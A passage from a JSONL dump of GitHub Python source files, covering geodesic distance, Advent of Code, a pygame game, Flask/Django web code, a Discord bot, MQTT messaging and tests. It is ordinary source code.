distance.kilometers\n \n ellipsoid = self.ELLIPSOID\n if isinstance(ellipsoid, basestring):\n ellipsoid = ELLIPSOIDS[ellipsoid]\n\n major, minor, f = ellipsoid\n \n tan_reduced1 = (1 - f) * tan(lat1)\n cos_reduced1 = 1 / sqrt(1 + tan_reduced1 ** 2)\n sin_reduced1 = tan_reduced1 * cos_reduced1\n sin_bearing, cos_bearing = sin(bearing), cos(bearing)\n sigma1 = atan2(tan_reduced1, cos_bearing)\n sin_alpha = cos_reduced1 * sin_bearing\n cos_sq_alpha = 1 - sin_alpha ** 2\n u_sq = cos_sq_alpha * (major ** 2 - minor ** 2) / minor ** 2\n \n A = 1 + u_sq / 16384. * (\n 4096 + u_sq * (-768 + u_sq * (320 - 175 * u_sq))\n )\n B = u_sq / 1024. * (256 + u_sq * (-128 + u_sq * (74 - 47 * u_sq)))\n \n sigma = distance / (minor * A)\n sigma_prime = 2 * pi\n\n while abs(sigma - sigma_prime) > 10e-12:\n cos2_sigma_m = cos(2 * sigma1 + sigma)\n sin_sigma, cos_sigma = sin(sigma), cos(sigma)\n delta_sigma = B * sin_sigma * (\n cos2_sigma_m + B / 4. * (\n cos_sigma * (\n -1 + 2 * cos2_sigma_m\n ) - B / 6. * cos2_sigma_m * (\n -3 + 4 * sin_sigma ** 2) * (\n -3 + 4 * cos2_sigma_m ** 2\n )\n )\n )\n sigma_prime = sigma\n sigma = distance / (minor * A) + delta_sigma\n\n sin_sigma, cos_sigma = sin(sigma), cos(sigma)\n\n lat2 = atan2(\n sin_reduced1 * cos_sigma + cos_reduced1 * sin_sigma * cos_bearing,\n (1 - f) * sqrt(\n sin_alpha ** 2 + (\n sin_reduced1 * sin_sigma -\n cos_reduced1 * cos_sigma * cos_bearing\n ) ** 2\n )\n )\n\n lambda_lng = atan2(\n sin_sigma * sin_bearing,\n cos_reduced1 * cos_sigma - sin_reduced1 * sin_sigma * cos_bearing\n )\n\n C = f / 16. * cos_sq_alpha * (4 + f * (4 - 3 * cos_sq_alpha))\n\n delta_lng = (\n lambda_lng - (1 - C) * f * sin_alpha * (\n sigma + C * sin_sigma * (\n cos2_sigma_m + C * cos_sigma * (\n -1 + 2 * cos2_sigma_m ** 2\n )\n )\n )\n )\n\n final_bearing = atan2(\n sin_alpha,\n cos_reduced1 * cos_sigma * cos_bearing - sin_reduced1 * sin_sigma\n )\n\n lng2 = lng1 + delta_lng\n \n return Point(units.degrees(radians=lat2), units.degrees(radians=lng2))\n\n\n# Set the default distance formula to the most generally accurate.\ndistance = VincentyDistance\n","repo_name":"golismero/golismero","sub_path":"thirdparty_libs/geopy/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":13537,"program_lang":"python","lang":"en","doc_type":"code","stars":838,"dataset":"github-code","pt":"75"} +{"seq_id":"72728168881","text":"\n\"\"\"\nAdvent of Code 2020\nBy Emet Behrendt\nDay 7\nSection 1\n\"\"\"\n\nimport os\n\nSELF_DIR = os.path.dirname(__file__)\nINPUT_PATH = os.path.join(SELF_DIR, 'puzzle_input.txt')\n\n# Fetch puzzle input\nwith open(INPUT_PATH, 'r') as file:\n\tPUZZLE_INPUT = file.read().split('\\n')\n\nclass Bag:\n\tbag_index = {}\n\n\tdef __init__(self, name, children):\n\t\tBag.bag_index[name] = self\n\t\tself.children = set(children)\n\n\t\t# Denote whether the bag can contain a shiny gold bag\n\t\t# directly or through is children; 'None' indicates the \n\t\t# value is not known\n\t\tif 'shiny gold' in children:\n\t\t\tself.has_gold = True\n\t\telse:\n\t\t\tself.has_gold = None\n\n\tdef set_child(self, child):\n\t\tchildren.add(child)\n\n\tdef check_gold(self):\n\t\tif self.has_gold:\n\t\t\treturn True\n\t\telif self.has_gold == False:\n\t\t\treturn False\n\t\telse:\n\t\t\tfor bag in self.children:\n\t\t\t\tif Bag.bag_index[bag].check_gold():\n\t\t\t\t\t#self.has_gold = True\n\t\t\t\t\treturn True\n\t\t\t#self.has_gold = False\n\t\t\treturn False\n\n\ndef main(puzzle_input):\n\t# Main Function\n\n\t# --- Parse Input ---\n\tfor line in puzzle_input:\n\t\twords = line.split(' ')\n\t\t# Note that names are always two words in length\n\t\tname = ' '.join(words[0:2])\n\t\tchildren = []\n\n\t\tif words[4] != 'no':\t# Account for when there are no bags\n\t\t\tchildren.append(' '.join(words[5:7]))\n\n\t\t\t# Loop through remaining children bags\n\t\t\t# Note that distancing between bag names is constant\n\t\t\ti = 0\n\t\t\twhile True:\n\t\t\t\ti += 4\n\t\t\t\tif bool(words[5+i:7+i]):\n\t\t\t\t\tchildren.append(' '.join(words[5+i:7+i]))\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\n\t\tBag(name, children)\n\n\t# --- Calculate Valid Bags ---\n\ttotal = 0\n\n\tfor bag in Bag.bag_index.values():\n\t\tif bag.check_gold():\n\t\t\ttotal += 1\n\n\tprint(total)\n\n\nif __name__ == '__main__':\n\tmain(PUZZLE_INPUT)\n","repo_name":"3met/advent-of-code-2020","sub_path":"Day 7/Part 1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30633232439","text":"# -*- coding: utf-8 -*-\n# John Loeber | Dec 11 2016 | Python 2.7.12 | contact@johnloeber.com\n\nimport unittest\nfrom Raytracer_Helpers import raytracer_plumbing as plumbing\n\nclass PlumbingTests(unittest.TestCase):\n \"\"\"\n tests for raytracer_plumbing.py\n \"\"\"\n def test_sort_contacts(self):\n self.assertEqual(5+3, 8)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Datamine/Raytracer","sub_path":"unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13644448671","text":"import pygame\nimport math\nimport constants\nimport random\n\nclass Weapon():\n def __init__(self, image, arrow_image):\n self.original_image = image\n # Imagem sempre será carregada no mesmo ângulo original.\n # O método do pygame irá girar o arco conforme o ângulo.\n self.angle = 0\n self.image = pygame.transform.rotate(self.original_image, self.angle)\n self.arrow_image = arrow_image\n self.rect = self.image.get_rect()\n self.fired = False\n self.last_shot = pygame.time.get_ticks()\n\n def update(self, player):\n shot_cooldown = 300\n arrow = None\n self.rect.center = player.rect.center\n\n pos = pygame.mouse.get_pos()\n x_dist = pos[0] - self.rect.centerx\n y_dist = -(pos[1] - self.rect.centery)\n self.angle = math.degrees(math.atan2(y_dist, x_dist))\n\n # Usando cliques do mouse para atirar flechas.\n if pygame.mouse.get_pressed()[0] and self.fired == False and (pygame.time.get_ticks() - self.last_shot) >= shot_cooldown:\n arrow = Arrow(self.arrow_image, self.rect.centerx, self.rect.centery, self.angle)\n self.fired = True\n self.last_shot = pygame.time.get_ticks()\n\n # Resetando o click do mouse\n if pygame.mouse.get_pressed()[0] == False:\n self.fired = False\n\n return arrow\n\n def draw(self, surface):\n self.image = pygame.transform.rotate(self.original_image, self.angle)\n surface.blit(self.image, ((self.rect.centerx - int(self.image.get_width()/2)), self.rect.centery - int(self.image.get_height()/2)))\n\n\n\n \nclass Arrow(pygame.sprite.Sprite):\n def __init__(self, image, x, y, angle):\n pygame.sprite.Sprite.__init__(self)\n self.original_image = image\n self.angle = angle\n self.image = pygame.transform.rotate(self.original_image, self.angle-90) # Subtrai 90° pra flecha ficar na direção correta.\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n # Calculando as velocidades horizontais e verticais. baseado no ângulo.\n self.dx = math.cos(math.radians(self.angle)) * constants.ARROW_SPEED\n self.dy = -math.sin(math.radians(self.angle)) * constants.ARROW_SPEED\n\n\n def update(self, screen_scroll, obstacle_tiles, enemy_list):\n # Resetando variáveis\n damage = 0\n damage_pos = None\n\n # Reposicionando baseando na velocidade\n self.rect.x += screen_scroll[0] + self.dx\n self.rect.y += screen_scroll[1] + self.dy\n\n # Checando colisões com obstáculos.\n for obstacle in obstacle_tiles:\n if obstacle[1].colliderect(self.rect):\n self.kill()\n break\n\n # Se a flecha sair da tela, ela é removida.\n if self.rect.right < 0 or self.rect.left > constants.SCREEN_WIDTH or self.rect.bottom < 0 or self.rect.top > constants.SCREEN_HEIGHT:\n self.kill()\n\n # Checando colisões entre inimigo e flecha.\n for enemy in enemy_list:\n if enemy.rect.colliderect(self.rect) and enemy.alive:\n damage = 10 + random.randint(-5, 5)\n damage_pos = enemy.rect\n enemy.health -= damage\n enemy.hit = True\n self.kill()\n break\n \n return damage, damage_pos\n\n\n def draw(self, surface):\n surface.blit(self.image, ((self.rect.centerx - int(self.image.get_width()/2)), self.rect.centery - int(self.image.get_height()/2)))\n\n\nclass Fireball(pygame.sprite.Sprite):\n def __init__(self, image, x, y, target_x, target_y):\n pygame.sprite.Sprite.__init__(self)\n self.original_image = image\n x_dist = target_x - x\n y_dist = -(target_y - y)\n self.angle = math.degrees(math.atan2(y_dist, x_dist))\n self.image = pygame.transform.rotate(self.original_image, self.angle-90) # Subtrai 90° pra flecha ficar na direção correta.\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n # Calculando as velocidades horizontais e verticais. baseado no ângulo.\n self.dx = math.cos(math.radians(self.angle)) * constants.FIREBALL_SPEED\n self.dy = -math.sin(math.radians(self.angle)) * constants.FIREBALL_SPEED\n\n\n def update(self, screen_scroll, player):\n # Reposicionando baseando na velocidade\n self.rect.x += screen_scroll[0] + self.dx\n self.rect.y += screen_scroll[1] + self.dy\n\n # Se a bola de fogo sair da tela, ela é removida.\n if self.rect.right < 0 or self.rect.left > constants.SCREEN_WIDTH or self.rect.bottom < 0 or self.rect.top > constants.SCREEN_HEIGHT:\n self.kill()\n\n # Checando colisões entre personagem e bola de fogo\n if player.rect.colliderect(self.rect) and player.hit == False:\n player.hit = True\n player.last_hit = pygame.time.get_ticks()\n player.health -= 10\n self.kill()\n\n def draw(self, surface):\n surface.blit(self.image, ((self.rect.centerx - int(self.image.get_width()/2)), self.rect.centery - int(self.image.get_height()/2)))","repo_name":"LucasFreitas13/dungeon","sub_path":"weapon.py","file_name":"weapon.py","file_ext":"py","file_size_in_byte":5161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22562810039","text":"import pymysql\nfrom flask import g\nfrom wgadmin.common.config import CONF\nfrom wgadmin.api import app\n\ndef get_db():\n\n database = getattr(g, '_database', None)\n if database is None:\n g._database = pymysql.connect(\n host=CONF.mysql_hostname,\n port=CONF.mysql_port,\n user=CONF.mysql_username,\n passwd=CONF.mysql_password,\n db=CONF.mysql_database\n )\n\n database = g._database\n return database\n\n@app.teardown_appcontext\ndef close_connection(exception):\n database = getattr(g, '_database', None)\n if database is not None:\n database.close()\n\ndef query_db(query, args=(), one=False):\n cur = get_db().cursor()\n cur.execute(query, args)\n results = cur.fetchall()\n cur.close()\n return (results[0] if results else None) if one else results\n\ndef create_tables():\n\n tables = [\n '''\n CREATE TABLE users (\n username VARCHAR(65) PRIMARY KEY NOT NULL,\n role VARCHAR(20) NOT NULL,\n password VARCHAR(255) NOT NULL,\n salt VARCHAR(25) NOT NULL\n );\n ''',\n '''\n CREATE TABLE pubkeys (\n pubkey VARCHAR(45) PRIMARY KEY NOT NULL,\n username VARCHAR(65) NOT NULL,\n FOREIGN KEY(username) REFERENCES users(username)\n );\n ''',\n '''\n CREATE TABLE leases (\n ip VARCHAR(15) PRIMARY KEY NOT NULL,\n pubkey VARCHAR(45),\n FOREIGN KEY(pubkey) REFERENCES pubkeys(pubkey)\n );\n '''\n ]\n\n with app.app_context():\n for table in tables:\n query_db(table)\n\ndef drop_tables():\n\n tables = [\n 'leases',\n 'pubkeys',\n 'users'\n ]\n\n with app.app_context():\n for table in tables:\n query_db('DROP TABLE IF EXISTS %s;' % table)\n","repo_name":"sinner-/wgadmin","sub_path":"wgadmin/db/mysql.py","file_name":"mysql.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72058354803","text":"from django.urls import path\nfrom .views import HomePage, TypesPage, GoodsPage\n\n\napp_name = 'core'\nurlpatterns = [\n\tpath('', HomePage.as_view(), name=\"home\"),\n\tpath('types//', TypesPage.as_view(), name=\"types\"),\n\tpath(\n\t\t'goods//',\n\t\tGoodsPage.as_view(),\n\t\tname=\"goods\"),\n]\n","repo_name":"David2261/DDN","sub_path":"ddn/apps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37793824139","text":"import requests\n\n\nclass post_Header():\n\n # 发送包含headers的post请求\n def t_post(self):\n url = 'https://www.wanandroid.com/user/login'\n header = {'User-Agent': 'Mozilla/5.0'}\n payload = {'username': 'liangchao', 'password': '123456'}\n # 获取请求后的消息返回体\n rsp = requests.post(url=url, data=payload, headers=header)\n if rsp.status_code != 200:\n return -1, ''\n print(rsp.text)\n # 将返回的字典格式数据转化为json\n json1 = rsp.json()\n errorCode = json1['errorCode']\n if errorCode == 0:\n # 提取json中的部分数据以备后用\n publicName = json1['data']['publicName']\n print(publicName)\n username = json1['data']['username']\n return errorCode, username, publicName\n else:\n return errorCode, '', ''\n def duanyan(self):\n list1 = self.t_post()\n try:\n errorCode1 = list1[0]\n username = list1[1]\n #username = 'kk'\n publicName = list1[2]\n if errorCode1 == 0:\n if username == publicName:\n print('断言登陆成功')\n else:\n print('登陆使用的用户名与返回的用户名不一致,登陆失败了')\n else:\n print(\"errorCode不等于0,登陆失败了\")\n except Exception as n:\n print(n)\n print(\"登陆失败了\")\n\nif __name__ == '__main__':\n req = post_Header()\n #req.t_post()\n req.duanyan()\n","repo_name":"MrMaYongLin/project01","sub_path":"request_repose/headers.py","file_name":"headers.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9371136041","text":"#!/usr/bin/python3\nimport math\nimport numpy as np\n\n# simple kalman filter\n# inspired by http://scipy-cookbook.readthedocs.io/items/KalmanFiltering.html\nclass kalman_filter:\n\n def __init__(self):\n self.q = 1e-5 # process variance - guess\n self.r = 0.1**2 # estimate of measurement variance\n\n def kalman_filter_speed(self, speed, x_hat_input, p_input):\n xhat = x_hat_input\n p = p_input\n # time update\n\n xhat_minus = xhat\n p_minus = p + self.q\n\n # measurement update\n k = p_minus/( p_minus + self.r )\n xhat = xhat_minus + k * (speed -xhat_minus)\n p = (1 - k) * p_minus\n return xhat, p\n\nif __name__ == \"__main__\":\n\n #test\n xhat = 0.0 # initial guess, estimate of x\n P = 1.0 # initial guess, error estimate\n kf = kalman_filter()\n for i in range(10):\n xhat, P = kf.kalman_filter_speed(10, xhat, P)\n print(\"xhat: \",xhat,\"P:\",P)\n","repo_name":"RoVi2-course-projects/traffic_analysis","sub_path":"kalman_filtering_speed.py","file_name":"kalman_filtering_speed.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42200961284","text":"\"\"\"\n题22-链表中倒数第K个节点\n输入一个链表,输出该链表中倒数第k个结点\n\"\"\"\n\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def findKthNode(self, head, k):\n if head == None or k <= 0:\n return None\n \n p1,p2 = head, head\n for i in range(k):\n p1 = p1.next\n if p1 == None:\n return None\n\n while p1.next != None:\n p1 = p1.next\n p2 = p2.next\n\n return p2\n\n\nnode1 = ListNode(1)\nnode2 = ListNode(2)\nnode3 = ListNode(3)\nnode4 = ListNode(3)\nnode5 = ListNode(4)\nnode6 = ListNode(4)\nnode7 = ListNode(5)\nnode1.next = node2\nnode2.next = node3\nnode3.next = node4\nnode4.next = node5\nnode5.next = node6\nnode6.next = node7\n\ns = Solution()\nprint(s.findKthNode(node1, 4).val)\n","repo_name":"Mapleleaff/Sword-refers-to-offer","sub_path":"题22-链表中倒数第K个节点.py","file_name":"题22-链表中倒数第K个节点.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"71556682163","text":"import paho.mqtt.client as mqtt\nimport time\n\nall_chanel = [\n 'message',\n 'famille'\n]\n\ndef on_message(client, userdata, message):\n print(\"\\nmessage received \" ,str(message.payload.decode(\"utf-8\")), \"\\n\")\n\nbroker_address=\"192.168.1.91\"\n\nprint(\"creating new instance\")\nname = input(\"entre votre nom : \")\nclient = mqtt.Client(name)\n\nprint(\"connecting to broker\")\nclient.on_message=on_message\n\nclient.connect(broker_address, 5050)\n\nclient.loop_start()\nrun = True\nwhile run:\n suite = input(\"1 pour envoier un message \\n2 pour quitter \\n-> \")\n if suite == '1':\n\n print(\"choissier le chanel sur lequel vous vouler discuter\")\n chanel = input(f\"{all_chanel[0]} \\n{all_chanel[1]} \\n->\")\n client.subscribe(chanel)\n\n print(\"Publishing message to topic\",chanel)\n entre = input(\"entre votre message : \")\n client.publish(chanel,entre)\n\n time.sleep(4)\n client.on_message=on_message\n elif suite == '2':\n client.disconnect()\n client.loop_stop()\n run = False","repo_name":"AdamVignolles/send_message_in_local","sub_path":"message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2140155182","text":"# 도시 분할 계획\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10000000)\n\nN,M = map(int, input().strip().split())\nedge = []\ntable = [n for n in range(N+1)]\n\ndef uFind(u):\n if table[u] == u:\n return u\n\n table[u] = uFind(table[u])\n\n return table[u]\n\ndef uMerge(u,v):\n u = uFind(u)\n v = uFind(v)\n\n if u != v:\n table[v] = u\n \nfor _ in range(M):\n u,d,w = map(int, input().strip().split())\n edge.append((w,u,d))\n\nedge.sort()\nans = 0\ncnt = 0\nfor w,u,d in edge:\n if uFind(u) != uFind(d):\n uMerge(u,d)\n ans += w\n cnt += 1\n if cnt == N-2:\n break\n\nprint(ans)","repo_name":"mi2ntae/Algorithm","sub_path":"python/2020/11-08/1647.py","file_name":"1647.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36574043566","text":"# Ticket In-progress, Done, Invalid - HTTPResponseRedirect Reverse to ticket detail\n# In-progress: ticket.status = ticket.assignee(request.user)\n# Done: ticket.status = ticket.assignee = None\n# Closer: ticket.closer = request.user\n# Invalid: ticket.status = assignee = None, ticket.status(\"Invalid\")\n# ticket.save()\n# set-up ticket detail template\nfrom django.shortcuts import render\nfrom django.http.response import HttpResponseRedirect\nfrom django.urls import reverse\nfrom tickets.models import Ticket\n\n\ndef invalid_detail(request, ticket_id: int):\n ticket = Ticket.objects.get(id=ticket_id)\n ticket.ticket_status = \"Invalid\"\n ticket.assigned_to = None\n ticket.save()\n\n return HttpResponseRedirect(reverse('home'))\n\n\ndef in_progress_detail(request, ticket_id: int):\n ticket = Ticket.objects.get(id=ticket_id)\n ticket.ticket_status = \"In Progress\"\n ticket.assigned_to = request.user\n ticket.save()\n\n return HttpResponseRedirect(reverse('ticket-detail', args=[ticket_id],))\n\n\ndef done_detail(request, ticket_id: int):\n ticket = Ticket.objects.get(id=ticket_id)\n ticket.ticket_status = \"Done\"\n ticket.assigned_to = None\n ticket.completed_by = request.user\n ticket.save()\n\n return HttpResponseRedirect(reverse('home'))\n","repo_name":"dbobbgit/bugtracker","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19485708277","text":"# Project : Pie Chart using Matplotlib\n\n# Import the libraries\nimport matplotlib.pyplot as pyplot\nimport numpy as np\n\n\n# Add data values\ndata = np.array([30, 25, 15, 15, 15])\n\n# Add labels\nmylabels = ['Python', 'C++', 'JavaScript', 'Java', 'PHP']\n\n# Specify a new color for each wedge\nmycolors = ['r', '#4CAF50', 'hotpink', 'c', 'orange']\n\n# Draw a Pie Chart with different Properties\npyplot.pie(data, labels=mylabels, shadow=True, startangle=0, colors=mycolors)\n\n# Add Legend\npyplot.legend()\n\n# Display\npyplot.show()\n","repo_name":"zaheerniazipk/PieChart-Matplotlib","sub_path":"PieChart.py","file_name":"PieChart.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35790807027","text":"import os\nimport time\nimport typing\nfrom pathlib import Path\n\nimport click\nimport discord\nfrom retry import retry\nfrom rich import print\n\nfrom . import utils\n\nDISCORD_BOT_TOKEN = os.getenv(\"DISCORD_BOT_TOKEN\")\n\n\n@click.group()\ndef cli():\n \"\"\"Post images to Discord.\"\"\"\n pass\n\n\n@cli.command()\n@click.argument(\"handle\")\n@click.option(\"-i\", \"--input-dir\", \"input_dir\", default=\"./\")\ndef single(handle: str, input_dir: str):\n \"\"\"Post a single source.\"\"\"\n # Get the metadata\n site = utils.get_site(handle)\n\n now_local = utils.get_local_time(site)\n\n # Create the caption\n caption = (\n f\"The {site['name']} homepage at {now_local.strftime('%-I:%M %p')} local time\\n\"\n )\n\n # Do it\n _post(caption, input_dir)\n\n\n@cli.command()\n@click.argument(\"slug\")\n@click.option(\"-i\", \"--input-dir\", \"input_dir\", default=\"./\")\ndef bundle(slug: str, input_dir: str):\n \"\"\"Post all images for a bundle.\"\"\"\n # Get the metadata\n bundle = utils.get_bundle(slug)\n now_local = utils.get_local_time(bundle)\n\n # Create the caption\n caption = f\"{bundle['name']} homepages at {now_local.strftime('%-I:%M %p')} in {bundle['location']}\\n\"\n\n # Do it\n _post(caption, input_dir)\n\n\n@cli.command()\n@click.argument(\"code\")\n@click.option(\"-i\", \"--input-dir\", \"input_dir\", default=\"./\")\ndef country(code: str, input_dir: str):\n \"\"\"Post all images for a country.\"\"\"\n # Get the metadata\n country = utils.get_country(code)\n\n # Create the caption\n caption = f\"The latest homepages from {country['name']}\\n\"\n\n # Do it\n _post(caption, input_dir)\n\n\n@retry(tries=3, delay=5, backoff=2)\ndef _post(caption, input_dir):\n # Set the path\n input_path = Path(input_dir)\n\n # Pull images from input directory\n image_paths = list(input_path.glob(\"*.jpg\"))\n\n # Post\n print(f\":camera: Posting {len(image_paths)} images in {input_path} to Discord\")\n c = BotClient(caption, image_paths)\n c.run(DISCORD_BOT_TOKEN)\n\n\nclass BotClient(discord.Client):\n \"\"\"A chat client that posts the provided handle.\"\"\"\n\n def __init__(self, caption: str, path_list: typing.List[Path], *args, **kwargs):\n \"\"\"Initialize object.\"\"\"\n super().__init__(intents=discord.Intents.default(), **kwargs)\n self.caption = caption\n self.path_list = path_list\n\n async def on_ready(self):\n \"\"\"Run after we connect to Discord.\"\"\"\n await self.post()\n await self.close()\n\n async def post(self):\n \"\"\"Post message to Discord channel.\"\"\"\n # Get the channel\n channel = self.get_channel(952969204892573827)\n\n # Loop through all the sites\n for i, path in enumerate(self.path_list):\n # Figure out if we want the caption\n if i == 0:\n message = self.caption\n else:\n message = \"\"\n\n # Post\n await channel.send(message, file=discord.File(path))\n\n # Pause\n time.sleep(0.5)\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"palewire/news-homepages","sub_path":"newshomepages/discorder.py","file_name":"discorder.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"75"} +{"seq_id":"8114101734","text":"from pathlib import Path\nfrom shutil import copyfile\nimport subprocess\n\nTESTDATA_STATS = Path(\"tests/data/example_stats.log\")\nTESTDATA_HAPCUT2_PHASING_STATS = Path(\"tests/data/example_hapcut2_phasing_stats.txt\")\nTESTDATA_HAPCUT2_PHASEBLOCK = Path(\"tests/data/example_hapcut2.phase\")\n\n\nEXPECTED_OUTPUT_STATS = Path(\"tests/expected_output/example_stats.txt\")\nEXPECTED_OUTPUT_HAPCUT2_PHASING_STATS = Path(\"tests/expected_output/hapcut2_phasing_stats.txt\")\nEXPECTED_OUTPUT_HAPCUT2_PHASEBLOCK_LEN = Path(\"tests/expected_output/hapcut2_phaseblock_lengths.txt\")\n\n\ndef comp_files_linewise(file1: Path, file2: Path):\n with open(file1) as f1, open(file2) as f2:\n for l_f1, l_f2 in zip(f1, f2):\n assert l_f1 == l_f2\n\n\ndef test_stats(tmpdir):\n copyfile(TESTDATA_STATS, tmpdir / \"example.log\")\n\n subprocess.run([\"multiqc\", \"-f\", tmpdir, \"-o\", tmpdir])\n\n assert Path(tmpdir / \"multiqc_report.html\").exists()\n assert Path(tmpdir / \"multiqc_data\" / \"example_stats.txt\").exists()\n\n comp_files_linewise(Path(tmpdir / \"multiqc_data\" / \"example_stats.txt\"),\n EXPECTED_OUTPUT_STATS)\n\n\ndef test_hapcut2(tmpdir):\n copyfile(TESTDATA_HAPCUT2_PHASING_STATS, tmpdir / \"example.txt\")\n copyfile(TESTDATA_HAPCUT2_PHASEBLOCK, tmpdir / \"example.phase\")\n\n subprocess.run([\"multiqc\", \"-f\", tmpdir, \"-o\", tmpdir])\n\n assert Path(tmpdir / \"multiqc_report.html\").exists()\n assert Path(tmpdir / \"multiqc_data\" / \"hapcut2_phasing_stats.txt\").exists()\n assert Path(tmpdir / \"multiqc_data\" / \"hapcut2_phaseblock_lengths.txt\").exists()\n\n comp_files_linewise(Path(tmpdir / \"multiqc_data\" / \"hapcut2_phasing_stats.txt\"),\n EXPECTED_OUTPUT_HAPCUT2_PHASING_STATS)\n comp_files_linewise(Path(tmpdir / \"multiqc_data\" / \"hapcut2_phaseblock_lengths.txt\"),\n EXPECTED_OUTPUT_HAPCUT2_PHASEBLOCK_LEN)\n","repo_name":"pontushojer/MultiQC_BLR","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27698361590","text":"from badger.models import Award, Badge\n\nfrom kitsune.sumo.tests import with_save\nfrom kitsune.users.tests import profile\n\n\n@with_save\ndef award(**kwargs):\n defaults = {\n 'description': u'An award!',\n }\n defaults.update(kwargs)\n\n if 'badge' not in defaults:\n defaults['badge'] = badge(save=True)\n\n if 'user' not in defaults:\n defaults['user'] = profile().user\n\n return Award(**defaults)\n\n\n@with_save\ndef badge(**kwargs):\n defaults = {\n 'title': u'BADGE!',\n 'description': u'A badge',\n }\n defaults.update(kwargs)\n\n return Badge(**defaults)\n","repo_name":"feer56/Kitsune1","sub_path":"kitsune/kbadge/tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41378994119","text":"################################################################################\n# Filename: conf_definitions.py\n# Author: Brandon Milton\n# http://brandonio21.com\n# Date: July 2, 2015\n# \n# Test that verifies that the definitions configuration file is configured \n# properly. If test fails, something is wrong in definition config file.\n################################################################################\nimport json\nimport os\nimport re\nimport unittest\n\n# Settings\nDEFINITIONS_SETTINGS_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), \n 'conf', 'definitions.json')\nVARIABLES_SETTINGS_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))),\n 'conf', 'variables.json')\n\nclass TestValidateDefinitions(unittest.TestCase):\n\n def test_simple_dictionary(self):\n \"\"\" Make sure that definitions config file is a simple dictionary with one-to-one mappings \"\"\"\n with open(DEFINITIONS_SETTINGS_FILE, 'r') as openDefFile:\n contents = json.loads(openDefFile.read())\n\n self.assertTrue(isinstance(contents, dict))\n for dictKey, dictContents in contents.items():\n self.assertTrue(isinstance(dictKey, str))\n self.assertFalse(isinstance(dictContents, list))\n self.assertFalse(isinstance(dictContents, dict))\n\n def test_valid_variables(self):\n \"\"\" Make sure all variables used in definitions are included in variables settings file \"\"\"\n with open(DEFINITIONS_SETTINGS_FILE, 'r') as openDefFile:\n definitionsContents = json.loads(openDefFile.read())\n with open(VARIABLES_SETTINGS_FILE, 'r') as openVarFile:\n variablesContents = json.loads(openVarFile.read())\n\n variablePattern = re.compile(r'{[^{^}]*}')\n for dictKey, dictContents in definitionsContents.items():\n variables = variablePattern.findall(str(dictContents))\n if len(variables) > 0:\n for variable in variables:\n valid = False\n for variableKey, variableItem in variablesContents.items():\n if variable == variableItem:\n valid = True\n break\n self.assertTrue(valid)\n","repo_name":"brandonio21/PyCFramework","sub_path":"Solutions/dev/tests/test_validate_definitions.py","file_name":"test_validate_definitions.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33262927941","text":"'''\r\n The RRWP encoder for GRIT (ours)\r\n'''\r\nimport torch\r\nfrom torch import nn\r\nfrom torch.nn import functional as F\r\nfrom ogb.utils.features import get_bond_feature_dims\r\nimport torch_sparse\r\n\r\nimport torch_geometric as pyg\r\nfrom torch_geometric.graphgym.register import (\r\n register_edge_encoder,\r\n register_node_encoder,\r\n)\r\n\r\nfrom torch_geometric.utils import remove_self_loops, add_remaining_self_loops, add_self_loops\r\nfrom torch_scatter import scatter\r\nimport warnings\r\n\r\ndef full_edge_index(edge_index, batch=None):\r\n \"\"\"\r\n Retunr the Full batched sparse adjacency matrices given by edge indices.\r\n Returns batched sparse adjacency matrices with exactly those edges that\r\n are not in the input `edge_index` while ignoring self-loops.\r\n Implementation inspired by 